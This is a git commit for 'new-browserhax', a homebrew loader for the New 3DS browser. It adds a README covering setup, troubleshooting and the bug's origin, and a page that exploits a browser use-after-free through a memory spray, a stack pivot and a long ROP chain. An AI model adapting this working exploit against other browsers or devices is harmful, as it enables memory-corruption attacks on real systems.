Update readme, clean up sploit page, and add 3ds_browserhax_common submodule

Author: zoogie

.gitmodules

@@ -0,0 +1,4 @@
+[submodule "3ds_browserhax_common"]
+	path = 3ds_browserhax_common
+	url = https://github.com/zoogie/3ds_browserhax_common.git
+	branch = master

3ds_browserhax_common

@@ -1,2 +1,58 @@
-# Bowserhax
-Like a typical browserhax, but with more flying dinosaurs.
+# new-browserhax
+
+## Thanks 
+- Big thanks to @ChampionLeake for the bug tip!
+- The devs who developed JsTypeHax for the WiiU https://github.com/WiiUTest/JsTypeHax . This sploit is loosely modeled after it.
+- Yellows8 for the hbmenu loader code: https://github.com/yellows8/3ds_browserhax_common
+
+## Intro
+
+This is a new homebrew menu loading userland exploit for the new3ds browser, Skater. 
+
+## What's needed
+
+A new3ds (or new2ds) on firmwares:<br>
+```
+11.9.0-42 -> 11.13.0-45 for USA or JAPAN<br>
+11.10.0-43 -> 11.13.0-45 for EUROPE<br>
+```
+Note: The last number on the firmware version matters. If you updated from a cartridge to your current firmware, you will need to update to latest firmware as your browser would have been erased by the cart update.
+
+## Directions 
+
+1) In the release folder, find your region (USA, EUROPE, JAPAN) and take the two files *inside* that folder and put them on the root of your sd card. Do not copy the entire folder over.
+2) Place the homebrew launcher boot.3dsx from [here](https://github.com/fincs/new-hbmenu/releases/tag/v2.2.0) also on the root of your sd card.
+3) With wifi on and working, scan [this QR](http://api.qrserver.com/v1/create-qr-code/?color=000000&bgcolor=FFFFFF&data=https%3A%2F%2Fzoogie.github.io%2Fweb%2Fnbhax&qzone=1&margin=0&size=400x400&ecc=L) after pressing L+R should buttons together and tapping the QR button on the bottom screen. The link to the sploit page is https://zoogie.github.io/web/nbhax if you want to type it in manually and/or bookmark it.
+4) The exploit should then load homebrew menu. Make sure to add homebrews to the sdmc:/3ds folder first in order to have something to run. See other guides online about what you can do with homebrew.
+
+## Exploit details
+
+This is the same Use-After-Free bug exploited in the WiiU version, with some changes. The input.type="image" -> "radio" is changed to input.type="image" -> "hidden" in this one to achieve compatibility, for instance.
+
+## Troubleshooting
+
+- Problem: The 3ds freezes on a yellow screen.<br>
+Solution: Try again. Boot rate is about 75-80%. This has always been an issue with *hax homebrew and not specific to this implementation.
+
+- Problem: The 3ds freezes on some other color screen or "An error has occured" prompt shows up.<br>
+Solution: Make sure you have *all* the correct files. Check your region is correct.<br>
+At minimum, make sure to have those 3 files in those same locations.<br>
+```
+sdmc:/arm11code.bin<br>
+sdmc:/browserhax_hblauncher_ropbin_payload.bin<br>
+sdmc:/boot.3dsx<br>
+```
+
+## FAQ
+Q: Will you support old3ds, old2ds?<br>
+A: I tried for a bit getting this to work but had no success. Can't even get the bug to crash old3ds. Might try again but the odds of old3ds support are slim at best.
+
+Q: Can I install [unSAFE_MODE](https://github.com/zoogie/unSAFE_MODE) with this to get cfw?<br>
+A: Absolutely, be my guest : ) You can boot slotTool.3dsx and install the hacked wifi slots, then run the unSAFE_MODE exploit. No explicit directions will be given for that here, but guides should pop up soon with directions.
+
+Q: Where did this browser exploit come from originally?<br>
+A: CVE-2013-2857 https://bugs.chromium.org/p/chromium/issues/detail?id=240124 . It was ported to the WiiU a couple of years ago and I think it's still the main userland entrypoint for that homebrew scene.
+
+Q: Will this exploit be fixed in a firmware update?<br>
+A: Don't know, but it's definitely possible. N has never fixed one of my exploits but they've always been proactive about fixing browser exploits. I give it 50/50 odds.
+

README.md

@@ -6,82 +6,46 @@
 types=["checkbox","color","date","datetime-local","email","file","hidden","image","month","number","password","radio","range","reset","search","submit","tel","text","time","url","week"]
 -->
 <script>
-
 function UaF3(a)
 {
 	var bsize=0x2000000;
 	var p = new ArrayBuffer(bsize); 
 	var payload = new Uint32Array(p);
-	bsize=0x800000;
-	
-	for(var b=0;b<bsize/4;b++){
-		//payload[b]=0x90000000+(b*4);
-		payload[b]=0;
-	}
 
 	payload[(0x1ba000+0x18)/4]=0x09300000;
 	payload[(0x1ba000)/4]=0x09300000;
 	payload[(0x1ba000+0x14c)/4]=0x00ac144c; //ldmdb r0!, {ip, sp, lr, pc} (stack pivot)
 	payload[(0x1ba000-0x4)/4]=0x001df60c;	//POP_PC   (pivot pc)
 	payload[(0x1ba000-0x8)/4]=0x44444444;	//GARBAGE  (lr)
 	payload[(0x1ba000-0xC)/4]=0x09310000;	//ROP_ADDR (pivot sp)
-	
-/* 
-seg006:009DC170				 LDR			 R0, [R5,#4]
-seg006:009DC172				 LDR			 R0, [R0,#0x18]
-seg006:009DC174				 LDR			 R1, [R0]
-seg006:009DC176				 ADDS			R1, #0xFF
-seg006:009DC178				 ADDS			R1, #0x41
-seg006:009DC17A				 LDR			 R1, [R1,#0xC]
-seg006:009DC17C				 BLX			 R1
-*/
 
-	var POP_R0PC=0x00296e64;
-	var POP_R1PC=0x0023e578;
-	var POP_R0R3PC=0x00226d3c;
-	var svcSleepThread=0x002d8cd4;
-	var FS_MountSdmc=0x00318d30+4;
-	var IFile_Open=0x003222e4+4;
-	var IFile_Write=0x00327258+4;
-	var GARBAGE=0x44444444;
-	var FILE=0x09311000;
-	//POP_R0R3PC=GARBAGE;
-	
-	
-	//return;
-	var rop=[
-		POP_R0PC,
-			0x2eccf2,	// mc:
-		FS_MountSdmc,
-			GARBAGE,
-			GARBAGE,
-			GARBAGE,
-		POP_R0R3PC,
-			FILE,
-			0x0931005c,	// mc:/rd
-			6,
-			GARBAGE,
-		IFile_Open,
-			GARBAGE,
-			GARBAGE,
-			GARBAGE,
-			GARBAGE,
-			GARBAGE,
-		POP_R0R3PC,
-			FILE,
-			FILE+32,
-			0x100000,
-			0x328000,
-		IFile_Write,
-			0x0063006d,
-			0x002f003a,
-			0x00640072,
-			0
+	var rop=[  				/* Generated from: https://github.com/yellows8/3ds_browserhax_common */
+		0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x0100FFFF,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00226C10,0x0027B150,0x001DF60C,0x001DF7F0,0x00202A04,0x09320000,
+		0x00000004,0x00000000,0x00000000,0x00000000,0x00000000,0x00298304,0x0027B150,0x001DF60C,0x001DF7F0,0x3A45C000,0x00011000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,
+		0x00D1042C,0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x636D6473,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00226C10,0x0027B150,0x001DF60C,0x001DF7F0,0x09320004,
+		0x0000003A,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00226C10,0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,
+		0x00000000,0x00318D30,0x0026276C,0x00000000,0x0027B150,0x001DF7F0,0x001DF7F0,0x09320000,0x0A000000,0x00000000,0x00800000,0x00000000,0x00000000,0x00000000,0x002634DC,0x00000001,
+		0x00000000,0x00000000,0x00000008,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x00000014,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,
+		0x00D1042C,0x0030C328,0x09320010,0x00640073,0x0063006D,0x002F003A,0x00720061,0x0031006D,0x00630031,0x0064006F,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0030C328,
+		0x0932002C,0x002E0065,0x00690062,0x0000006E,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,
+		0x09320040,0x09320010,0x00000030,0x00000000,0x00000000,0x00000000,0x00000000,0x00D1044C,0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x09320040,0x00000001,0x00000000,0x00000000,
+		0x00000000,0x00000000,0x003222E4,0x0026276C,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,0x09320000,0x09320020,0x3A45D000,0x00008000,0x00000000,0x00000000,0x00000000,0x0030C44C,
+		0x0026276C,0x00000000,0x00296E64,0x09320000,0x0027B150,0x001DF60C,0x001F7A04,0x0027B150,0x001DF60C,0x001DCDD0,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x001EC780,
+		0x0027B150,0x001DF60C,0x001DF7F0,0x3A45D000,0x00008000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x0029DADC,0x0030C328,0x09320010,0x00000000,0x001F1FAC,0x00000000,
+		0x00000000,0x00000000,0x00000000,0x001EAAFC,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0030C328,0x0932002C,0x002A2498,0x0029DADC,0x003222E4,0x001EC780,0x001F1FDC,
+		0x00000000,0x00000000,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,0x3A45C000,0x09320010,0x00000030,0x00000000,0x00000000,0x00000000,
+		0x00000000,0x00D1044C,0x0030C328,0x09320010,0x00000000,0x0030C44C,0x00327258,0x00298304,0x00000000,0x00000000,0x00000048,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,
+		0x0030C328,0x0932002C,0x00000000,0x00000000,0x00000000,0x003E03D0,0x00000114,0x00000000,0x00000000,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,
+		0x001DF7F0,0x3A45C030,0x09320010,0x00000030,0x00000000,0x00000000,0x00000000,0x00000000,0x00D1044C,0x0030C328,0x09320010,0x00000000,0x3A45D000,0x0063A738,0x00D11044,0x00D10BA4,
+		0x00D111B4,0x00D10BAC,0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0030C328,0x0932002C,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,
+		0x00000000,0x0076E6CD,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,0x3A45C060,0x09320010,0x00000030,0x00000000,0x00000000,0x00000000,0x00000000,0x00D1044C,
+		0x0027B150,0x001DF7F0,0x001DF7F0,0x3A45D000,0x3B1336E0,0x00008000,0x00000000,0x00000000,0x00000000,0x00000000,0x002A2498,0x00000000,0x00000000,0x00000000,0x00000008,0x00000000,
+		0x00000000,0x00000000,0x0027B150,0x001DF60C,0x001DF7F0,0x3B9ACA00,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x002D8CD4,0x0027B150,0x001DF60C,0x001DF7F0,
+		0x09320000,0x01808080,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x00226C10,0x0027B150,0x001DF7F0,0x001DF7F0,0x00202A04,0x09320000,0x00000004,0x00000000,0x00000000,
+		0x00000000,0x00000000,0x00298304,0x3A45C000,0x0FFF9000,0x00000000,0x00000000,0x00000000,0x00000000,0x00000000,0x0027B150,0x001DF60C,0x0055B6E0,0x70707070
 	]
-	
-	for(var i=0; i < rop.length; i++){
-		payload[(0x1ba000+0x10000+(i*4))/4]=rop[i];
-	}
+
+	for(var i=0; i < rop.length; i++) payload[(0x1ba000+0x10000+(i*4))/4]=rop[i];
 
 	for(var i=0;i<1000;i++){
 		var buf = new ArrayBuffer(0x18);
@@ -94,9 +58,6 @@
 		bufView[5]=0x66181600;
 		a.type="hidden";
 	}
-	
-	return 0;
 }
 </script>
-
-<input type="image" onerror="UaF3(this);" src=""/>
+<input type="image" onerror="UaF3(this);" src=""/>